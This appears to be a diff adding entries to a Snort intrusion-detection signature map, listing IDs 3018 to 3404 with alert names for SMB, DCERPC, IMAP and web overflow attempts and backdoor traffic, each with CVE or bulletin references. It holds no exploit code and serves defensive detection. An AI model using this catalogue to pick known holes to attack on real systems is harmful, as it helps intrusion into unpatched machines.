+3018 || NETBIOS SMB NT Trans NT CREATE oversized Security Descriptor attempt || cve,2004-1154
+3019 || NETBIOS SMB NT Trans NT CREATE andx oversized Security Descriptor attempt || cve,2004-1154
+3020 || NETBIOS SMB NT Trans NT CREATE unicode oversized Security Descriptor attempt || cve,2004-1154
+3021 || NETBIOS SMB NT Trans NT CREATE unicode andx oversized Security Descriptor attempt || cve,2004-1154
+3022 || NETBIOS SMB-DS NT Trans NT CREATE oversized Security Descriptor attempt || cve,2004-1154
+3023 || NETBIOS SMB-DS NT Trans NT CREATE andx oversized Security Descriptor attempt || cve,2004-1154
+3024 || NETBIOS SMB-DS NT Trans NT CREATE unicode oversized Security Descriptor attempt || cve,2004-1154
+3025 || NETBIOS SMB-DS NT Trans NT CREATE unicode andx oversized Security Descriptor attempt || cve,2004-1154
+3026 || NETBIOS SMB NT Trans NT CREATE SACL overflow attempt || cve,2004-1154
+3027 || NETBIOS SMB NT Trans NT CREATE andx SACL overflow attempt || cve,2004-1154
+3028 || NETBIOS SMB NT Trans NT CREATE unicode SACL overflow attempt || cve,2004-1154
+3029 || NETBIOS SMB NT Trans NT CREATE unicode andx SACL overflow attempt || cve,2004-1154
+3030 || NETBIOS SMB-DS NT Trans NT CREATE SACL overflow attempt || cve,2004-1154
+3031 || NETBIOS SMB-DS NT Trans NT CREATE andx SACL overflow attempt || cve,2004-1154
+3032 || NETBIOS SMB-DS NT Trans NT CREATE unicode SACL overflow attempt || cve,2004-1154
+3033 || NETBIOS SMB-DS NT Trans NT CREATE unicode andx SACL overflow attempt || cve,2004-1154
+3034 || NETBIOS SMB NT Trans NT CREATE DACL overflow attempt || cve,2004-1154
+3035 || NETBIOS SMB NT Trans NT CREATE andx DACL overflow attempt || cve,2004-1154
+3036 || NETBIOS SMB NT Trans NT CREATE unicode DACL overflow attempt || cve,2004-1154
+3037 || NETBIOS SMB NT Trans NT CREATE unicode andx DACL overflow attempt || cve,2004-1154
+3038 || NETBIOS SMB-DS NT Trans NT CREATE DACL overflow attempt || cve,2004-1154
+3039 || NETBIOS SMB-DS NT Trans NT CREATE andx DACL overflow attempt || cve,2004-1154
+3040 || NETBIOS SMB-DS NT Trans NT CREATE unicode DACL overflow attempt || cve,2004-1154
+3041 || NETBIOS SMB-DS NT Trans NT CREATE unicode andx DACL overflow attempt || cve,2004-1154
+3042 || NETBIOS SMB NT Trans NT CREATE invalid SACL ace size dos attempt
+3043 || NETBIOS SMB NT Trans NT CREATE andx invalid SACL ace size dos attempt
+3044 || NETBIOS SMB NT Trans NT CREATE unicode invalid SACL ace size dos attempt
+3045 || NETBIOS SMB NT Trans NT CREATE unicode andx invalid SACL ace size dos attempt
+3046 || NETBIOS SMB-DS NT Trans NT CREATE invalid SACL ace size dos attempt
+3047 || NETBIOS SMB-DS NT Trans NT CREATE andx invalid SACL ace size dos attempt
+3048 || NETBIOS SMB-DS NT Trans NT CREATE unicode invalid SACL ace size dos attempt
+3049 || NETBIOS SMB-DS NT Trans NT CREATE unicode andx invalid SACL ace size dos attempt
+3050 || NETBIOS SMB NT Trans NT CREATE invalid SACL ace size dos attempt
+3051 || NETBIOS SMB NT Trans NT CREATE andx invalid SACL ace size dos attempt
+3052 || NETBIOS SMB NT Trans NT CREATE unicode invalid SACL ace size dos attempt
+3053 || NETBIOS SMB NT Trans NT CREATE unicode andx invalid SACL ace size dos attempt
+3054 || NETBIOS SMB-DS NT Trans NT CREATE invalid SACL ace size dos attempt
+3055 || NETBIOS SMB-DS NT Trans NT CREATE andx invalid SACL ace size dos attempt
+3056 || NETBIOS SMB-DS NT Trans NT CREATE unicode invalid SACL ace size dos attempt
+3057 || NETBIOS SMB-DS NT Trans NT CREATE unicode andx invalid SACL ace size dos attempt
+3058 || IMAP copy literal overflow attempt || bugtraq,1110
+3059 || WEB-MISC TLSv1 Client_Hello via SSLv2 handshake request
+3061 || MISC distccd command execution attempt || url,distcc.samba.org/security.html
+3062 || WEB-CGI NetScreen SA 5000 delhomepage.cgi access || bugtraq,9791
+3063 || BACKDOOR Vampire 1.2 connection request
+3064 || BACKDOOR Vampire 1.2 connection confirmation
+3065 || IMAP append literal overflow attempt || bugtraq,11775
+3066 || IMAP append overflow attempt || bugtraq,11775
+3067 || IMAP examine literal overflow attempt || bugtraq,11775
+3068 || IMAP examine overflow attempt || bugtraq,11775
+3069 || IMAP fetch literal overflow attempt || bugtraq,11775
+3070 || IMAP fetch overflow attempt || bugtraq,11775
+3071 || IMAP status literal overflow attempt || bugtraq,11775
+3072 || IMAP status overflow attempt || bugtraq,11775 || bugtraq,13727 || cve,2005-1256
+3073 || IMAP subscribe literal overflow attempt || bugtraq,11775
+3074 || IMAP subscribe overflow attempt || bugtraq,11775
+3075 || IMAP unsubscribe literal overflow attempt || bugtraq,11775
+3076 || IMAP unsubscribe overflow attempt || bugtraq,11775
+3077 || FTP RNFR overflow attempt
+3078 || NNTP SEARCH pattern overflow attempt || cve,2004-0574 || url,www.microsoft.com/technet/security/bulletin/MS04-036.mspx
+3079 || WEB-CLIENT Microsoft ANI file parsing overflow || cve,2004-1049
+3080 || MISC Unreal Tournament secure overflow attempt || bugtraq,10570 || cve,2004-0608
+3081 || BACKDOOR Y3KRAT 1.5 Connect
+3082 || BACKDOOR Y3KRAT 1.5 Connect Client Response
+3083 || BACKDOOR Y3KRAT 1.5 Connection confirmation
+3084 || EXPLOIT Veritas backup overflow attempt || bugtraq,11974 || cve,2004-1172
+3085 || EXPLOIT AIM goaway message buffer overflow attempt || bugtraq,10889 || cve,2004-0636
+3086 || WEB-MISC 3Com 3CRADSL72 ADSL 11g Wireless Router app_sta.stm access attempt || bugtraq,11408
+3087 || WEB-IIS w3who.dll buffer overflow attempt || bugtraq,11820 || cve,2004-1134
+3088 || WEB-CLIENT winamp .cda file name overflow attempt || bugtraq,11730
+3089 || DOS squid WCCP I_SEE_YOU message overflow attempt || bugtraq,12275 || cve,2005-0095
+3090 || NETBIOS SMB llsrpc create tree attempt
+3091 || NETBIOS SMB llsrpc unicode create tree attempt
+3092 || NETBIOS SMB llsrpc andx create tree attempt
+3093 || NETBIOS SMB llsrpc unicode andx create tree attempt
+3094 || NETBIOS SMB-DS llsrpc create tree attempt
+3095 || NETBIOS SMB-DS llsrpc unicode create tree attempt
+3096 || NETBIOS SMB-DS llsrpc andx create tree attempt
+3097 || NETBIOS SMB-DS llsrpc unicode andx create tree attempt
+3098 || NETBIOS SMB llsrpc bind attempt
+3099 || NETBIOS SMB llsrpc little endian bind attempt
+3100 || NETBIOS SMB llsrpc unicode bind attempt
+3101 || NETBIOS SMB llsrpc unicode little endian bind attempt
+3102 || NETBIOS SMB llsrpc andx bind attempt
+3103 || NETBIOS SMB llsrpc little endian andx bind attempt
+3104 || NETBIOS SMB llsrpc unicode andx bind attempt
+3105 || NETBIOS SMB llsrpc unicode little endian andx bind attempt
+3106 || NETBIOS SMB-DS llsrpc bind attempt
+3107 || NETBIOS SMB-DS llsrpc little endian bind attempt
+3108 || NETBIOS SMB-DS llsrpc unicode bind attempt
+3109 || NETBIOS SMB-DS llsrpc unicode little endian bind attempt
+3110 || NETBIOS SMB-DS llsrpc andx bind attempt
+3111 || NETBIOS SMB-DS llsrpc little endian andx bind attempt
+3112 || NETBIOS SMB-DS llsrpc unicode andx bind attempt
+3113 || NETBIOS SMB-DS llsrpc unicode little endian andx bind attempt
+3114 || NETBIOS SMB llsrconnect overflow attempt || url,www.microsoft.com/technet/security/bulletin/ms05-010.mspx
+3115 || NETBIOS SMB llsrconnect little endian overflow attempt || url,www.microsoft.com/technet/security/bulletin/ms05-010.mspx
+3116 || NETBIOS SMB llsrconnect unicode overflow attempt || url,www.microsoft.com/technet/security/bulletin/ms05-010.mspx
+3117 || NETBIOS SMB llsrconnect unicode little endian overflow attempt || url,www.microsoft.com/technet/security/bulletin/ms05-010.mspx
+3118 || NETBIOS SMB llsrconnect andx overflow attempt || url,www.microsoft.com/technet/security/bulletin/ms05-010.mspx
+3119 || NETBIOS SMB llsrconnect little endian andx overflow attempt || url,www.microsoft.com/technet/security/bulletin/ms05-010.mspx
+3120 || NETBIOS SMB llsrconnect unicode andx overflow attempt || url,www.microsoft.com/technet/security/bulletin/ms05-010.mspx
+3121 || NETBIOS SMB llsrconnect unicode little endian andx overflow attempt || url,www.microsoft.com/technet/security/bulletin/ms05-010.mspx
+3122 || NETBIOS SMB-DS llsrconnect overflow attempt || url,www.microsoft.com/technet/security/bulletin/ms05-010.mspx
+3123 || NETBIOS SMB-DS llsrconnect little endian overflow attempt || url,www.microsoft.com/technet/security/bulletin/ms05-010.mspx
+3124 || NETBIOS SMB-DS llsrconnect unicode overflow attempt || url,www.microsoft.com/technet/security/bulletin/ms05-010.mspx
+3125 || NETBIOS SMB-DS llsrconnect unicode little endian overflow attempt || url,www.microsoft.com/technet/security/bulletin/ms05-010.mspx
+3126 || NETBIOS SMB-DS llsrconnect andx overflow attempt || url,www.microsoft.com/technet/security/bulletin/ms05-010.mspx
+3127 || NETBIOS SMB-DS llsrconnect little endian andx overflow attempt || url,www.microsoft.com/technet/security/bulletin/ms05-010.mspx
+3128 || NETBIOS SMB-DS llsrconnect unicode andx overflow attempt || url,www.microsoft.com/technet/security/bulletin/ms05-010.mspx
+3129 || NETBIOS SMB-DS llsrconnect unicode little endian andx overflow attempt || url,www.microsoft.com/technet/security/bulletin/ms05-010.mspx
+3130 || EXPLOIT MSN Messenger png overflow || bugtraq,10872 || cve,2004-0957 || url,www.microsoft.com/technet/security/bulletin/MS05-009.mspx
+3131 || WEB-CGI mailman directory traversal attempt || cve,2005-0202
+3132 || WEB-CLIENT PNG large image width download attempt || bugtraq,11523 || cve,2004-0990 || cve,2004-1244 || url,www.microsoft.com/technet/security/bulletin/MS05-009.mspx
+3133 || WEB-CLIENT PNG large image height download attempt || bugtraq,11481 || bugtraq,11523 || cve,2004-0599 || cve,2004-0990 || cve,2004-1244 || url,www.microsoft.com/technet/security/bulletin/MS05-009.mspx
+3134 || WEB-CLIENT PNG large colour depth download attempt || bugtraq,11523 || cve,2004-0990 || cve,2004-1244 || url,www.microsoft.com/technet/security/bulletin/MS05-009.mspx
+3135 || NETBIOS SMB Trans2 QUERY_FILE_INFO attempt
+3136 || NETBIOS SMB Trans2 QUERY_FILE_INFO andx attempt
+3137 || NETBIOS SMB-DS Trans2 QUERY_FILE_INFO attempt
+3138 || NETBIOS SMB-DS Trans2 QUERY_FILE_INFO andx attempt
+3139 || NETBIOS SMB Trans2 FIND_FIRST2 attempt
+3140 || NETBIOS SMB Trans2 FIND_FIRST2 andx attempt
+3141 || NETBIOS SMB-DS Trans2 FIND_FIRST2 attempt
+3142 || NETBIOS SMB-DS Trans2 FIND_FIRST2 andx attempt
+3143 || NETBIOS SMB Trans2 FIND_FIRST2 response overflow attempt || cve,2005-0045 || url,www.microsoft.com/technet/security/Bulletin/MS05-011.mspx
+3144 || NETBIOS SMB Trans2 FIND_FIRST2 response andx overflow attempt || cve,2005-0045 || url,www.microsoft.com/technet/security/Bulletin/MS05-011.mspx
+3145 || NETBIOS SMB-DS Trans2 FIND_FIRST2 response overflow attempt || cve,2005-0045 || url,www.microsoft.com/technet/security/Bulletin/MS05-011.mspx
+3146 || NETBIOS SMB-DS Trans2 FIND_FIRST2 response andx overflow attempt || cve,2005-0045 || url,www.microsoft.com/technet/security/Bulletin/MS05-011.mspx
+3147 || TELNET login buffer overflow attempt || bugtraq,3681 || cve,2001-0797
+3148 || WEB-CLIENT winhelp clsid attempt || bugtraq,4857 || cve,2002-0823 || url,www.ngssoftware.com/advisories/ms-winhlp.txt
+3149 || WEB-CLIENT object type overflow attempt || cve,2003-0344 || url,www.microsoft.com/technet/security/bulletin/MS03-020.mspx
+3150 || WEB-IIS SQLXML content type overflow || bugtraq,5004 || cve,2002-0186 || url,www.microsoft.com/technet/security/bulletin/MS02-030.mspx || url,www.westpoint.ltd.uk/advisories/wp-02-0007.txt
+3151 || FINGER / execution attempt || cve,1999-0612 || cve,2000-0915
+3152 || MS-SQL sa brute force failed login attempt || bugtraq,4797 || cve,2000-1209 || nessus,10673
+3153 || DNS TCP inverse query overflow || bugtraq,134 || cve,1999-0009
+3154 || DNS UDP inverse query overflow || bugtraq,134 || cve,1999-0009
+3155 || BACKDOOR BackOrifice 2000 Inbound Traffic
+3156 || NETBIOS DCERPC msqueue bind attempt || cve,2003-0995 || url,www.eeye.com/html/Research/Advisories/AD20030910.html || url,www.microsoft.com/technet/security/bulletin/MS03-026.mspx
+3157 || NETBIOS DCERPC msqueue little endian bind attempt || cve,2003-0995 || url,www.eeye.com/html/Research/Advisories/AD20030910.html || url,www.microsoft.com/technet/security/bulletin/MS03-026.mspx
+3158 || NETBIOS DCERPC CoGetInstanceFromFile little endian overflow attempt || cve,2003-0995 || url,www.eeye.com/html/Research/Advisories/AD20030910.html || url,www.microsoft.com/technet/security/bulletin/MS03-026.mspx
+3159 || NETBIOS DCERPC CoGetInstanceFromFile overflow attempt || cve,2003-0995 || url,www.eeye.com/html/Research/Advisories/AD20030910.html || url,www.microsoft.com/technet/security/bulletin/MS03-026.mspx
+3160 || NETBIOS SMB msqueue bind attempt || cve,2003-0995 || url,www.eeye.com/html/Research/Advisories/AD20030910.html || url,www.microsoft.com/technet/security/bulletin/MS03-026.mspx
+3161 || NETBIOS SMB msqueue little endian bind attempt || cve,2003-0995 || url,www.eeye.com/html/Research/Advisories/AD20030910.html || url,www.microsoft.com/technet/security/bulletin/MS03-026.mspx
+3162 || NETBIOS SMB msqueue unicode bind attempt || cve,2003-0995 || url,www.eeye.com/html/Research/Advisories/AD20030910.html || url,www.microsoft.com/technet/security/bulletin/MS03-026.mspx
+3163 || NETBIOS SMB msqueue unicode little endian bind attempt || cve,2003-0995 || url,www.eeye.com/html/Research/Advisories/AD20030910.html || url,www.microsoft.com/technet/security/bulletin/MS03-026.mspx
+3164 || NETBIOS SMB msqueue andx bind attempt || cve,2003-0995 || url,www.eeye.com/html/Research/Advisories/AD20030910.html || url,www.microsoft.com/technet/security/bulletin/MS03-026.mspx
+3165 || NETBIOS SMB msqueue little endian andx bind attempt || cve,2003-0995 || url,www.eeye.com/html/Research/Advisories/AD20030910.html || url,www.microsoft.com/technet/security/bulletin/MS03-026.mspx
+3166 || NETBIOS SMB msqueue unicode andx bind attempt || cve,2003-0995 || url,www.eeye.com/html/Research/Advisories/AD20030910.html || url,www.microsoft.com/technet/security/bulletin/MS03-026.mspx
+3167 || NETBIOS SMB msqueue unicode little endian andx bind attempt || cve,2003-0995 || url,www.eeye.com/html/Research/Advisories/AD20030910.html || url,www.microsoft.com/technet/security/bulletin/MS03-026.mspx
+3168 || NETBIOS SMB-DS msqueue bind attempt || cve,2003-0995 || url,www.eeye.com/html/Research/Advisories/AD20030910.html || url,www.microsoft.com/technet/security/bulletin/MS03-026.mspx
+3169 || NETBIOS SMB-DS msqueue little endian bind attempt || cve,2003-0995 || url,www.eeye.com/html/Research/Advisories/AD20030910.html || url,www.microsoft.com/technet/security/bulletin/MS03-026.mspx
+3170 || NETBIOS SMB-DS msqueue unicode bind attempt || cve,2003-0995 || url,www.eeye.com/html/Research/Advisories/AD20030910.html || url,www.microsoft.com/technet/security/bulletin/MS03-026.mspx
+3171 || NETBIOS SMB-DS msqueue unicode little endian bind attempt || cve,2003-0995 || url,www.eeye.com/html/Research/Advisories/AD20030910.html || url,www.microsoft.com/technet/security/bulletin/MS03-026.mspx
+3172 || NETBIOS SMB-DS msqueue andx bind attempt || cve,2003-0995 || url,www.eeye.com/html/Research/Advisories/AD20030910.html || url,www.microsoft.com/technet/security/bulletin/MS03-026.mspx
+3173 || NETBIOS SMB-DS msqueue little endian andx bind attempt || cve,2003-0995 || url,www.eeye.com/html/Research/Advisories/AD20030910.html || url,www.microsoft.com/technet/security/bulletin/MS03-026.mspx
+3174 || NETBIOS SMB-DS msqueue unicode andx bind attempt || cve,2003-0995 || url,www.eeye.com/html/Research/Advisories/AD20030910.html || url,www.microsoft.com/technet/security/bulletin/MS03-026.mspx
+3175 || NETBIOS SMB-DS msqueue unicode little endian andx bind attempt || cve,2003-0995 || url,www.eeye.com/html/Research/Advisories/AD20030910.html || url,www.microsoft.com/technet/security/bulletin/MS03-026.mspx
+3176 || NETBIOS SMB CoGetInstanceFromFile overflow attempt || cve,2003-0995 || url,www.eeye.com/html/Research/Advisories/AD20030910.html || url,www.microsoft.com/technet/security/bulletin/MS03-026.mspx
+3177 || NETBIOS SMB CoGetInstanceFromFile little endian overflow attempt || cve,2003-0995 || url,www.eeye.com/html/Research/Advisories/AD20030910.html || url,www.microsoft.com/technet/security/bulletin/MS03-026.mspx
+3178 || NETBIOS SMB CoGetInstanceFromFile unicode overflow attempt || cve,2003-0995 || url,www.eeye.com/html/Research/Advisories/AD20030910.html || url,www.microsoft.com/technet/security/bulletin/MS03-026.mspx
+3179 || NETBIOS SMB CoGetInstanceFromFile unicode little endian overflow attempt || cve,2003-0995 || url,www.eeye.com/html/Research/Advisories/AD20030910.html || url,www.microsoft.com/technet/security/bulletin/MS03-026.mspx
+3180 || NETBIOS SMB CoGetInstanceFromFile andx overflow attempt || cve,2003-0995 || url,www.eeye.com/html/Research/Advisories/AD20030910.html || url,www.microsoft.com/technet/security/bulletin/MS03-026.mspx
+3181 || NETBIOS SMB CoGetInstanceFromFile little endian andx overflow attempt || cve,2003-0995 || url,www.eeye.com/html/Research/Advisories/AD20030910.html || url,www.microsoft.com/technet/security/bulletin/MS03-026.mspx
+3182 || NETBIOS SMB CoGetInstanceFromFile unicode andx overflow attempt || cve,2003-0995 || url,www.eeye.com/html/Research/Advisories/AD20030910.html || url,www.microsoft.com/technet/security/bulletin/MS03-026.mspx
+3183 || NETBIOS SMB CoGetInstanceFromFile unicode little endian andx overflow attempt || cve,2003-0995 || url,www.eeye.com/html/Research/Advisories/AD20030910.html || url,www.microsoft.com/technet/security/bulletin/MS03-026.mspx
+3184 || NETBIOS SMB-DS CoGetInstanceFromFile overflow attempt || cve,2003-0995 || url,www.eeye.com/html/Research/Advisories/AD20030910.html || url,www.microsoft.com/technet/security/bulletin/MS03-026.mspx
+3185 || NETBIOS SMB-DS CoGetInstanceFromFile little endian overflow attempt || cve,2003-0995 || url,www.eeye.com/html/Research/Advisories/AD20030910.html || url,www.microsoft.com/technet/security/bulletin/MS03-026.mspx
+3186 || NETBIOS SMB-DS CoGetInstanceFromFile unicode overflow attempt || cve,2003-0995 || url,www.eeye.com/html/Research/Advisories/AD20030910.html || url,www.microsoft.com/technet/security/bulletin/MS03-026.mspx
+3187 || NETBIOS SMB-DS CoGetInstanceFromFile unicode little endian overflow attempt || cve,2003-0995 || url,www.eeye.com/html/Research/Advisories/AD20030910.html || url,www.microsoft.com/technet/security/bulletin/MS03-026.mspx
+3188 || NETBIOS SMB-DS CoGetInstanceFromFile andx overflow attempt || cve,2003-0995 || url,www.eeye.com/html/Research/Advisories/AD20030910.html || url,www.microsoft.com/technet/security/bulletin/MS03-026.mspx
+3189 || NETBIOS SMB-DS CoGetInstanceFromFile little endian andx overflow attempt || cve,2003-0995 || url,www.eeye.com/html/Research/Advisories/AD20030910.html || url,www.microsoft.com/technet/security/bulletin/MS03-026.mspx
+3190 || NETBIOS SMB-DS CoGetInstanceFromFile unicode andx overflow attempt || cve,2003-0995 || url,www.eeye.com/html/Research/Advisories/AD20030910.html || url,www.microsoft.com/technet/security/bulletin/MS03-026.mspx
+3191 || NETBIOS SMB-DS CoGetInstanceFromFile unicode little endian andx overflow attempt || cve,2003-0995 || url,www.eeye.com/html/Research/Advisories/AD20030910.html || url,www.microsoft.com/technet/security/bulletin/MS03-026.mspx
+3192 || WEB-CLIENT Windows Media Player directory traversal via Content-Disposition attempt || bugtraq,7517 || cve,2003-0228 || url,www.microsoft.com/technet/security/bulletin/MS03-017.mspx
+3193 || WEB-IIS .cmd executable file parsing attack || bugtraq,1912 || cve,2000-0886
+3194 || WEB-IIS .bat executable file parsing attack || bugtraq,1912 || cve,2000-0886
+3195 || NETBIOS name query overflow attempt TCP || bugtraq,9624 || cve,2003-0825
+3196 || NETBIOS name query overflow attempt UDP || bugtraq,9624 || cve,2003-0825
+3197 || NETBIOS DCERPC ISystemActivator path overflow attempt little endian || bugtraq,8205 || cve,2003-0352 || nessus,11808 || url,www.microsoft.com/technet/security/bulletin/MS03-026.mspx
+3198 || NETBIOS DCERPC ISystemActivator path overflow attempt big endian || bugtraq,8205 || cve,2003-0352 || nessus,11808 || url,www.microsoft.com/technet/security/bulletin/MS03-026.mspx
+3199 || EXPLOIT WINS name query overflow attempt TCP || bugtraq,9624 || cve,2003-0825 || url,www.microsoft.com/technet/security/bulletin/MS04-006.mspx
+3200 || EXPLOIT WINS name query overflow attempt UDP || bugtraq,9624 || cve,2003-0825 || url,www.microsoft.com/technet/security/bulletin/MS04-006.mspx
+3201 || WEB-IIS httpodbc.dll access - nimda || bugtraq,2708 || cve,2001-0333
+3202 || NETBIOS SMB winreg bind attempt
+3203 || NETBIOS SMB winreg little endian bind attempt
+3204 || NETBIOS SMB winreg unicode bind attempt
+3205 || NETBIOS SMB winreg unicode little endian bind attempt
+3206 || NETBIOS SMB winreg andx bind attempt
+3207 || NETBIOS SMB winreg little endian andx bind attempt
+3208 || NETBIOS SMB winreg unicode andx bind attempt
+3209 || NETBIOS SMB winreg unicode little endian andx bind attempt
+3210 || NETBIOS SMB-DS winreg bind attempt
+3211 || NETBIOS SMB-DS winreg little endian bind attempt
+3212 || NETBIOS SMB-DS winreg unicode bind attempt
+3213 || NETBIOS SMB-DS winreg unicode little endian bind attempt
+3214 || NETBIOS SMB-DS winreg andx bind attempt
+3215 || NETBIOS SMB-DS winreg little endian andx bind attempt
+3216 || NETBIOS SMB-DS winreg unicode andx bind attempt
+3217 || NETBIOS SMB-DS winreg unicode little endian andx bind attempt
+3218 || NETBIOS SMB OpenKey overflow attempt || bugtraq,1331 || cve,2000-0377 || url,www.microsoft.com/technet/security/bulletin/MS00-040.mspx
+3219 || NETBIOS SMB OpenKey little endian overflow attempt || bugtraq,1331 || cve,2000-0377
+3220 || NETBIOS SMB OpenKey unicode overflow attempt || bugtraq,1331 || cve,2000-0377
+3221 || NETBIOS SMB OpenKey unicode little endian overflow attempt || bugtraq,1331 || cve,2000-0377
+3222 || NETBIOS SMB OpenKey andx overflow attempt || bugtraq,1331 || cve,2000-0377
+3223 || NETBIOS SMB OpenKey little endian andx overflow attempt || bugtraq,1331 || cve,2000-0377
+3224 || NETBIOS SMB OpenKey unicode andx overflow attempt || bugtraq,1331 || cve,2000-0377
+3225 || NETBIOS SMB OpenKey unicode little endian andx overflow attempt || bugtraq,1331 || cve,2000-0377
+3226 || NETBIOS SMB-DS OpenKey overflow attempt || bugtraq,1331 || cve,2000-0377
+3227 || NETBIOS SMB-DS OpenKey little endian overflow attempt || bugtraq,1331 || cve,2000-0377
+3228 || NETBIOS SMB-DS OpenKey unicode overflow attempt || bugtraq,1331 || cve,2000-0377
+3229 || NETBIOS SMB-DS OpenKey unicode little endian overflow attempt || bugtraq,1331 || cve,2000-0377
+3230 || NETBIOS SMB-DS OpenKey andx overflow attempt || bugtraq,1331 || cve,2000-0377
+3231 || NETBIOS SMB-DS OpenKey little endian andx overflow attempt || bugtraq,1331 || cve,2000-0377
+3232 || NETBIOS SMB-DS OpenKey unicode andx overflow attempt || bugtraq,1331 || cve,2000-0377
+3233 || NETBIOS SMB-DS OpenKey unicode little endian andx overflow attempt || bugtraq,1331 || cve,2000-0377 || url,www.microsoft.com/technet/security/bulletin/MS00-040.mspx
+3234 || NETBIOS Messenger message little endian overflow attempt || bugtraq,8826 || cve,2003-0717
+3235 || NETBIOS Messenger message overflow attempt || bugtraq,8826 || cve,2003-0717
+3236 || NETBIOS DCERPC irot bind attempt
+3237 || NETBIOS DCERPC irot little endian bind attempt
+3238 || NETBIOS DCERPC IrotIsRunning attempt || bugtraq,6005 || cve,2002-1561 || url,www.microsoft.com/technet/security/bulletin/MS03-010.mspx
+3239 || NETBIOS DCERPC IrotIsRunning little endian attempt || bugtraq,6005 || cve,2002-1561 || url,www.microsoft.com/technet/security/bulletin/MS03-010.mspx
+3240 || NETBIOS SMB irot bind attempt
+3241 || NETBIOS SMB irot little endian bind attempt
+3242 || NETBIOS SMB irot unicode bind attempt
+3243 || NETBIOS SMB irot unicode little endian bind attempt
+3244 || NETBIOS SMB irot andx bind attempt
+3245 || NETBIOS SMB irot little endian andx bind attempt
+3246 || NETBIOS SMB irot unicode andx bind attempt
+3247 || NETBIOS SMB irot unicode little endian andx bind attempt
+3248 || NETBIOS SMB-DS irot bind attempt
+3249 || NETBIOS SMB-DS irot little endian bind attempt
+3250 || NETBIOS SMB-DS irot unicode bind attempt
+3251 || NETBIOS SMB-DS irot unicode little endian bind attempt
+3252 || NETBIOS SMB-DS irot andx bind attempt
+3253 || NETBIOS SMB-DS irot little endian andx bind attempt
+3254 || NETBIOS SMB-DS irot unicode andx bind attempt
+3255 || NETBIOS SMB-DS irot unicode little endian andx bind attempt
+3256 || NETBIOS SMB IrotIsRunning attempt || bugtraq,6005 || cve,2002-1561 || url,www.microsoft.com/technet/security/bulletin/MS03-010.mspx
+3257 || NETBIOS SMB IrotIsRunning little endian attempt || bugtraq,6005 || cve,2002-1561 || url,www.microsoft.com/technet/security/bulletin/MS03-010.mspx
+3258 || NETBIOS SMB IrotIsRunning unicode attempt || bugtraq,6005 || cve,2002-1561 || url,www.microsoft.com/technet/security/bulletin/MS03-010.mspx
+3259 || NETBIOS SMB IrotIsRunning unicode little endian attempt || bugtraq,6005 || cve,2002-1561 || url,www.microsoft.com/technet/security/bulletin/MS03-010.mspx
+3260 || NETBIOS SMB IrotIsRunning andx attempt || bugtraq,6005 || cve,2002-1561 || url,www.microsoft.com/technet/security/bulletin/MS03-010.mspx
+3261 || NETBIOS SMB IrotIsRunning little endian andx attempt || bugtraq,6005 || cve,2002-1561 || url,www.microsoft.com/technet/security/bulletin/MS03-010.mspx
+3262 || NETBIOS SMB IrotIsRunning unicode andx attempt || bugtraq,6005 || cve,2002-1561 || url,www.microsoft.com/technet/security/bulletin/MS03-010.mspx
+3263 || NETBIOS SMB IrotIsRunning unicode little endian andx attempt || bugtraq,6005 || cve,2002-1561 || url,www.microsoft.com/technet/security/bulletin/MS03-010.mspx
+3264 || NETBIOS SMB-DS IrotIsRunning attempt || bugtraq,6005 || cve,2002-1561 || url,www.microsoft.com/technet/security/bulletin/MS03-010.mspx
+3265 || NETBIOS SMB-DS IrotIsRunning little endian attempt || bugtraq,6005 || cve,2002-1561 || url,www.microsoft.com/technet/security/bulletin/MS03-010.mspx
+3266 || NETBIOS SMB-DS IrotIsRunning unicode attempt || bugtraq,6005 || cve,2002-1561 || url,www.microsoft.com/technet/security/bulletin/MS03-010.mspx
+3267 || NETBIOS SMB-DS IrotIsRunning unicode little endian attempt || bugtraq,6005 || cve,2002-1561 || url,www.microsoft.com/technet/security/bulletin/MS03-010.mspx
+3268 || NETBIOS SMB-DS IrotIsRunning andx attempt || bugtraq,6005 || cve,2002-1561 || url,www.microsoft.com/technet/security/bulletin/MS03-010.mspx
+3269 || NETBIOS SMB-DS IrotIsRunning little endian andx attempt || bugtraq,6005 || cve,2002-1561 || url,www.microsoft.com/technet/security/bulletin/MS03-010.mspx
+3270 || NETBIOS SMB-DS IrotIsRunning unicode andx attempt || bugtraq,6005 || cve,2002-1561 || url,www.microsoft.com/technet/security/bulletin/MS03-010.mspx
+3271 || NETBIOS SMB-DS IrotIsRunning unicode little endian andx attempt || bugtraq,6005 || cve,2002-1561 || url,www.microsoft.com/technet/security/bulletin/MS03-010.mspx
+3272 || BACKDOOR mydoom.a backdoor upload/execute attempt
+3273 || MS-SQL sa brute force failed login unicode attempt || bugtraq,4797 || cve,2000-1209 || nessus,10673
+3274 || TELNET login buffer non-evasive overflow attempt || bugtraq,3681 || cve,2001-0797
+3275 || NETBIOS DCERPC IActivation bind attempt
+3276 || NETBIOS DCERPC IActivation little endian bind attempt
+3377 || NETBIOS SMB IActivation bind attempt
+3378 || NETBIOS SMB IActivation little endian bind attempt
+3379 || NETBIOS SMB IActivation unicode bind attempt
+3380 || NETBIOS SMB IActivation unicode little endian bind attempt
+3381 || NETBIOS SMB IActivation andx bind attempt
+3382 || NETBIOS SMB IActivation little endian andx bind attempt
+3383 || NETBIOS SMB IActivation unicode andx bind attempt
+3384 || NETBIOS SMB IActivation unicode little endian andx bind attempt
+3385 || NETBIOS SMB-DS IActivation bind attempt
+3386 || NETBIOS SMB-DS IActivation little endian bind attempt
+3387 || NETBIOS SMB-DS IActivation unicode bind attempt
+3388 || NETBIOS SMB-DS IActivation unicode little endian bind attempt
+3389 || NETBIOS SMB-DS IActivation andx bind attempt
+3390 || NETBIOS SMB-DS IActivation little endian andx bind attempt
+3391 || NETBIOS SMB-DS IActivation unicode andx bind attempt
+3392 || NETBIOS SMB-DS IActivation unicode little endian andx bind attempt
+3393 || NETBIOS SMB ISystemActivator bind attempt
+3394 || NETBIOS SMB ISystemActivator little endian bind attempt
+3395 || NETBIOS SMB ISystemActivator unicode bind attempt
+3396 || NETBIOS SMB ISystemActivator unicode little endian bind attempt
+3397 || NETBIOS SMB ISystemActivator andx bind attempt
+3398 || NETBIOS SMB ISystemActivator little endian andx bind attempt
+3399 || NETBIOS SMB ISystemActivator unicode andx bind attempt
+3400 || NETBIOS SMB ISystemActivator unicode little endian andx bind attempt
+3401 || NETBIOS SMB-DS ISystemActivator bind attempt
+3402 || NETBIOS SMB-DS ISystemActivator little endian bind attempt
+3403 || NETBIOS SMB-DS ISystemActivator unicode bind attempt
+3404 || NETBIOS SMB-DS ISystemActivator unicode little endian bind attempt
